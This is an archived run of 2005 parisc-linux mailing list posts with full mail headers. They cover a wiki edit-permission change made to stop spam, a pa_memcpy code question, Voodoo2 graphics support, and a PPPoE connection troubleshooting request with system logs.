	by free.linux.hp.com (Postfix) with ESMTP
	id 24CB13BE6F; Sun,  9 Jan 2005 06:58:01 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03459-03; Sun, 9 Jan 2005 06:58:00 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 127573BE71; Sun,  9 Jan 2005 06:57:29 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A84D53BE6B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  9 Jan 2005 06:57:22 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 03459-01 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 9 Jan 2005 06:57:21 -0700 (MST)
Original-Received: from postfix3-2.free.fr (postfix3-2.free.fr [213.228.0.169])
	by free.linux.hp.com (Postfix) with ESMTP id 5CEB13BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  9 Jan 2005 06:57:21 -0700 (MST)
Original-Received: from mail.zigoo.net (freebz.slashdirt.org [82.228.130.181])
	by postfix3-2.free.fr (Postfix) with ESMTP id E7E1AC1D3
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  9 Jan 2005 14:57:18 +0100 (CET)
Original-Received: by mail.zigoo.net (Postfix, from userid 65534)
	id DC29433E5F; Sun,  9 Jan 2005 14:57:17 +0100 (CET)
Original-Received: from Tatooine.r3z0 (Tatooine.r3z0 [192.168.69.3])
	by mail.zigoo.net (Postfix) with ESMTP id 9881733E5D
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  9 Jan 2005 14:57:10 +0100 (CET)
Original-Received: from localhost ([127.0.0.1] helo=Tatooine.r3z0 ident=varenet)
	by Tatooine.r3z0 with smtp (Exim 3.36 #1 (Debian))
	id 1CndZ7-0006ea-00 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 09 Jan 2005 14:57:09 +0100
In-Reply-To: <20050108203303.GG27371@parcelfarce.linux.theplanet.co.uk>
X-Mailer: Sylpheed-Claws 0.9.12b (GTK+ 1.2.10; powerpc-unknown-linux-gnu)
X-Spam-Checker-Version: SpamAssassin 2.64 (2004-01-11) on Tatooine.r3z0
X-Spam-Status: No, hits=-50.0 required=5.0 tests=LOCAL_RCVD autolearn=no 
	version=2.64
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22267

On Sat, 8 Jan 2005 20:33:03 +0000
Matthew Wilcox <matthew@wil.cx> wrote:

> 
> I thought I should send a note to the mailing list about the interrupt
> work I've been doing.  Then I thought, "No, I should use the Wiki".  So
> I did ...

And that's very cool :)

A bit of info about the wiki access. Given the numerous defacing we had on
the wiki, I decided a few weeks ago to change a little the way
people are allowed to edit the wiki pages. There is a special page,
(PariscGroup) that contains the wiki names of the registered users allowed
to edit the wiki. Any user listed on that page can both see and edit it,
and create/change any other page. Registered users can see the content
of the PariscGroup page. By default users can't either see that page, nor
change or create any other page.

(A "registered user" is someone who created a wiki account, and thus got a
wiki name associated with it).

In brief, there's now a two-step way to change the wiki:
1) register an account
2) get your name added to the page by somebody already 'editor'. (I guess
that simply posting here may get you through that step, if you don't know
who to ask for).

I'm sad to have to narrow the wiki access, but this is the only simple and
efficient solution I've been able to figure out to get rid of the
spammers.

> http://wiki.parisc-linux.org/Interrupts
> 
> Feel free to make corrections or send me comments on stuff that isn't
> clear.

I've read that whole page and found it very interesting. Thanks to you, I
now have a better understanding of why I failed to do what you did ;^)

It's a very nice beginning for documenting how parisc interrupts work, and
it's very useful. Thanks again for writing it!

Thibaut VARENE
The PA/Linux ESIEE Team
http://www.pateam.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] pa_memcpy: 2 small question
Date: Sun, 09 Jan 2005 19:07:27 +0000
Lines: 27
Approved: news@gmane.org
Message-ID: <41E180EF.8040808@tiscali.be>
References: <20050105055412.68E06495698@palinux.hppa>
	<20050107095143.GN18497@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623644 12496 80.91.229.3 (22 Nov 2014 02:34:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Jan 2005 19:08:27 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx028) with SMTP; 09 Jan 2005 20:08:27 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 4345A3BC80; Sun,  9 Jan 2005 12:08:25 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06841-03; Sun, 9 Jan 2005 12:08:06 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 179B73BE68; Sun,  9 Jan 2005 12:07:33 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C11843BE59
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  9 Jan 2005 12:07:30 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 06841-01 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 9 Jan 2005 12:07:29 -0700 (MST)
Original-Received: from spoolo1.tiscali.be (spoolo1.tiscali.be [62.235.13.172])
	by free.linux.hp.com (Postfix) with ESMTP id 1C6673BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  9 Jan 2005 12:07:29 -0700 (MST)
Original-Received: from [83.134.223.139] (helo=[83.134.223.139])
	by spoolo1.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1CniPQ-0003DT-5g; Sun, 09 Jan 2005 20:07:28 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.5) Gecko/20050105 Debian/1.7.5-1
X-Accept-Language: en
In-Reply-To: <20050107095143.GN18497@tausq.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22268

Hello Randolph,

I just studying your pa_memcpy code (always to see if I can use it to improve stuff that you suggested me: l*).
And I wonder understand some values in copy_dstalign():
[...]
in the shift computing:
         /* Calculate how to shift a word read at the memory operation
            aligned srcp to make it aligned for copy.  */
         sh_1 = 8 * (src % sizeof(unsigned int));
         sh_2 = 8 * sizeof(unsigned int) - sh_1;

what means '8' (== 2 * word size; i.e. 2 * 32 bit because MERGE use shrpw and so 2 (a pair of word)? )

next in
          switch (len % 4)
         {

is '4' because as mentioned in copy_dstalign() description this 'Handles _4_ words per loop'

Thanks in advance,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Banshee and Voodoo2
Date: Sun, 9 Jan 2005 15:47:56 -0500
Organization: wh0rd.org
Lines: 16
Approved: news@gmane.org
Message-ID: <200501091547.56765.vapier@gentoo.org>
References: <Pine.BSO.4.61.0501081917230.2715@gate.helzinki.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623644 12498 80.91.229.3 (22 Nov 2014 02:34:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:04 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Jan 2005 20:48:29 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx058) with SMTP; 09 Jan 2005 21:48:29 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 577FC3BE63; Sun,  9 Jan 2005 13:48:17 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06972-04; Sun, 9 Jan 2005 13:48:13 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id EF9D73BE64; Sun,  9 Jan 2005 13:47:50 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8C23E3BE62
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  9 Jan 2005 13:47:48 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 06972-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 9 Jan 2005 13:47:47 -0700 (MST)
Original-Received: from wh0rd.org (wh0rd.org [80.68.88.204])
	by free.linux.hp.com (Postfix) with ESMTP id F30113BE59
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  9 Jan 2005 13:47:46 -0700 (MST)
Original-Received: (qmail 31873 invoked from network); 9 Jan 2005 15:47:44 -0500
Original-Received: from localhost (HELO home.wh0rd.org) (127.0.0.1)
	by localhost with AES256-SHA encrypted SMTP; 9 Jan 2005 15:47:44 -0500
Original-Received: (qmail 31026 invoked from network); 9 Jan 2005 15:46:34 -0500
Original-Received: from unknown (HELO vapier.wh0rd.org) (192.168.0.2)
	by 192.168.0.1 with SMTP; 9 Jan 2005 15:46:34 -0500
User-Agent: KMail/1.7.2
In-Reply-To: <Pine.BSO.4.61.0501081917230.2715@gate.helzinki.net>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22269

On Saturday 08 January 2005 12:26 pm, Jyry Suuntala wrote:
> Does anyone know is this list the actual list of supported hardware? If
> so, does X work with Banshee and at what resolution? And the same
> questions apply for Voodoo2, too :)

ive actually hooked a voodoo2 into my C360 and got Xorg working at 
1024x768 ... i also tried the obsidian voodoo2 (it's basically 2 voodoo2's on 
one card), but that kernel paniced (probably because of assumptions in the fb 
code that there's only 1 voodoo2 per card ... ?)
-mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Dany Joly" <dany_joly@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PPPOE with BL180
Date: Sun, 09 Jan 2005 23:00:33 +0000
Lines: 181
Approved: news@gmane.org
Message-ID: <BAY21-F174616CDCA2C6E4FFCB76892960@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1;
  format=flowed
X-Trace: ger.gmane.org 1416623644 12500 80.91.229.3 (22 Nov 2014 02:34:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:04 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Jan 2005 23:01:56 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx008) with SMTP; 10 Jan 2005 00:01:56 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id D9D273BE59; Sun,  9 Jan 2005 16:01:52 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08964-03; Sun, 9 Jan 2005 16:01:36 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 0608C3BE68; Sun,  9 Jan 2005 16:01:07 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8451A3BE62
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  9 Jan 2005 16:01:03 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 06972-10 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 9 Jan 2005 16:01:02 -0700 (MST)
Original-Received: from hotmail.com (bay21-f17.bay21.hotmail.com [65.54.233.106])
	by free.linux.hp.com (Postfix) with ESMTP id 64FB53BE59
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  9 Jan 2005 16:01:02 -0700 (MST)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	Sun, 9 Jan 2005 15:01:00 -0800
Original-Received: from 24.202.42.194 by by21fd.bay21.hotmail.msn.com with HTTP;
	Sun, 09 Jan 2005 23:00:33 GMT
X-Originating-IP: [24.202.42.194]
X-Originating-Email: [dany_joly@hotmail.com]
X-Sender: dany_joly@hotmail.com
X-OriginalArrivalTime: 09 Jan 2005 23:01:00.0975 (UTC)
	FILETIME=[166DE3F0:01C4F69F]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22270


Hi,

I have a HP B 180L running with Woody. Connecting the machine to an ethernet 
connection works very well. My problem is with

PPOE. I recently switched ISP and I now use ADSL. Since then, I am unable to 
access the Internet from this machine. I write

to this forum rather than to a general linux forum because when searching 
Google with "/dev/ppp: Resource temporarily

unavailable", I only get links related to PARISC.

I configured pppoe with pppoeconfig and it seems to go correctly. My problem 
is when I launch the connection. I can see my

connection with ifconfig, but I am unable to access the Internet. When I 
launch plog, I get the following messages:

mammoth:/home/dany# plog
Nov  9 03:16:34 mammoth pppd[392]: Using interface ppp0
Nov  9 03:16:34 mammoth pppd[392]: Connect: ppp0 <--> /dev/pts/0
Nov  9 03:16:34 mammoth pppd[392]: read: Resource temporarily unavailable
Nov  9 03:16:34 mammoth pppd[392]: read /dev/ppp: Resource temporarily 
unavailable
Nov  9 03:16:35 mammoth pppd[392]: read: Resource temporarily unavailable
Nov  9 03:16:35 mammoth pppd[392]: read /dev/ppp: Resource temporarily 
unavailable
Nov  9 03:16:35 mammoth pppd[392]: read: Resource temporarily unavailable
Nov  9 03:16:35 mammoth pppd[392]: read /dev/ppp: Resource temporarily 
unavailable
Nov  9 03:16:38 mammoth pppd[392]: Cannot determine ethernet address for 
proxy ARP
Nov  9 03:16:38 mammoth pppd[392]: local  IP address 67.70.77.230
Nov  9 03:16:38 mammoth pppd[392]: remote IP address 64.230.254.187
Nov  9 03:16:38 mammoth pppd[392]: primary   DNS address 206.47.244.89
Nov  9 03:16:38 mammoth pppd[392]: secondary DNS address 206.47.244.133
Nov  9 03:16:41 mammoth pppd[392]: read: Resource temporarily unavailable
Nov  9 03:16:41 mammoth pppd[392]: read /dev/ppp: Resource temporarily 
unavailable
Nov  9 03:16:44 mammoth pppd[392]: read: Resource temporarily unavailable
Nov  9 03:16:44 mammoth pppd[392]: read /dev/ppp: Resource temporarily 
unavailable


My network configuration is the following:

mammoth:/home/dany# ifconfig
eth0      Link encap:Ethernet  HWaddr 00:60:B0:D0:45:CD
          inet addr:192.168.0.1  Bcast:192.168.0.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:7657 errors:1 dropped:0 overruns:0 frame:0
          TX packets:492 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:100
          RX bytes:2038844 (1.9 MiB)  TX bytes:68461 (66.8 KiB)
          Interrupt:96 Base address:0xff00

eth1      Link encap:Ethernet  HWaddr 00:20:18:55:97:37
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:712 errors:0 dropped:0 overruns:0 frame:0
          TX packets:713 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:100
          RX bytes:51334 (50.1 KiB)  TX bytes:45262 (44.2 KiB)
          Interrupt:97 Base address:0xfd00

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:0 (0.0 b)  TX bytes:0 (0.0 b)

ppp0      Link encap:Point-to-Point Protocol
          inet addr:67.70.77.230  P-t-P:64.230.254.187  Mask:255.255.255.255
          UP POINTOPOINT RUNNING NOARP MULTICAST  MTU:1492  Metric:1
          RX packets:33 errors:0 dropped:0 overruns:0 frame:0
          TX packets:35 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:3
          RX bytes:1635 (1.5 KiB)  TX bytes:1353 (1.3 KiB)

My gateways are the following:

mammoth:/tmp# route -n -F
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use 
Iface
64.230.254.187  0.0.0.0         255.255.255.255 UH    0      0        0 ppp0
192.168.0.0     0.0.0.0         255.255.255.0   U     0      0        0 eth0
0.0.0.0         64.230.254.187  0.0.0.0         UG    0      0        0 ppp0

Does anybody have any idea what can prevent pppd from accessing the /dev/ppp 
resource?

Here is my list of process:

dany@mammoth:~$ ps aux
USER       PID %CPU %MEM   VSZ  RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.0  1548  584 ?        S    02:28   0:01 init
root         2  0.0  0.0     0    0 ?        SW   02:28   0:00 [keventd]
root         3  0.0  0.0     0    0 ?        SWN  02:28   0:00 
[ksoftirqd_CPU0]
root         4  0.0  0.0     0    0 ?        SW   02:28   0:00 [kswapd]
root         5  0.0  0.0     0    0 ?        SW   02:28   0:00 [bdflush]
root         6  0.0  0.0     0    0 ?        SW   02:28   0:00 [kupdated]
root         9  0.0  0.0     0    0 ?        SW   02:28   0:00 [scsi_eh_1]
root        10  0.0  0.0     0    0 ?        SW<  02:28   0:00 [mdrecoveryd]
root        11  0.0  0.0     0    0 ?        SW   02:28   0:00 [kjournald]
root        75  0.0  0.0     0    0 ?        SW   02:28   0:00 [kjournald]
root        76  0.0  0.0     0    0 ?        SW   02:28   0:00 [kjournald]
root       159  0.0  0.0  1692  732 ?        S    02:29   0:00 /sbin/syslogd
root       162  0.0  0.2  2636 1680 ?        S    02:29   0:01 /sbin/klogd
root       176  0.0  0.1  1868  840 ?        S    02:29   0:00 
/usr/sbin/dhcpd-2.2.x -q eth0
root       284  0.0  0.1  3600 1404 ?        S    02:29   0:00 
/usr/sbin/sshd
daemon     292  0.0  0.0  1812  704 ?        S    02:29   0:00 /usr/sbin/atd
root       295  0.0  0.1  2032  820 ?        S    02:29   0:00 
/usr/sbin/cron
root       301  0.0  0.3 73960 2904 ?        S    02:29   0:00 
/usr/sbin/apache
dany       304  0.0  0.1  2936 1464 tty1     S    02:29   0:00 -bash
root       305  0.0  0.0  1536  576 tty2     S    02:29   0:00 /sbin/getty 
38400 tty2
root       306  0.0  0.0  1536  576 tty3     S    02:29   0:00 /sbin/getty 
38400 tty3
root       307  0.0  0.0  1536  576 tty4     S    02:29   0:00 /sbin/getty 
38400 tty4
root       308  0.0  0.0  1536  576 tty5     S    02:29   0:00 /sbin/getty 
38400 tty5
root       309  0.0  0.0  1536  576 tty6     S    02:29   0:00 /sbin/getty 
38400 tty6
www-data   310  0.0  0.3 73976 2928 ?        S    02:29   0:00 
/usr/sbin/apache
www-data   311  0.0  0.3 73976 2928 ?        S    02:29   0:00 
/usr/sbin/apache
www-data   312  0.0  0.3 73976 2928 ?        S    02:29   0:00 
/usr/sbin/apache
www-data   313  0.0  0.3 73976 2928 ?        S    02:29   0:00 
/usr/sbin/apache
www-data   314  0.0  0.3 73976 2928 ?        S    02:29   0:00 
/usr/sbin/apache
root       329  0.0  0.1  2956 1480 tty1     S    03:12   0:00 bash
root       392  0.0  0.1  2772 1108 ?        S    03:16   0:00 
/usr/sbin/pppd call dsl-provider
root       393  0.0  0.0  1548  560 ?        S    03:16   0:00 
/usr/sbin/pppoe -I eth1 -T 80 -m 1452
root       483  4.2  0.2  7504 2012 ?        S    03:28   0:00 
/usr/sbin/sshd
dany       485  1.5  0.2  7516 2116 ?        S    03:28   0:00 
/usr/sbin/sshd
dany       486  5.5  0.1  2932 1444 pts/1    S    03:28   0:00 -bash
dany       489  0.0  0.2  4568 2124 pts/1    R    03:28   0:00 ps aux

Note that if I start dhclient on eth1, I will get the same error in plog 
(and no Internet), but the following configuration

will be sent to eth1:

eth1      Link encap:Ethernet  HWaddr 00:20:18:55:97:37
          inet addr:192.168.2.10  Bcast:192.168.2.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:909 errors:0 dropped:0 overruns:0 frame:0
          TX packets:896 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:100
          RX bytes:66806 (65.2 KiB)  TX bytes:58418 (57.0 KiB)
          Interrupt:97 Base address:0xfd00


Thank you,

Dany


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Max Grabert <parisc@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PPPOE with BL180
Date: Mon, 10 Jan 2005 00:12:24 +0000
Lines: 40
Approved: news@gmane.org
Message-ID: <e6eae02905010916122d584e6e@mail.gmail.com>
References: <BAY21-F174616CDCA2C6E4FFCB76892960@phx.gbl>
Reply-To: Max Grabert <parisc@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623645 12501 80.91.229.3 (22 Nov 2014 02:34:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Dany Joly <dany_joly@hotmail.com>
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Jan 2005 00:12:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
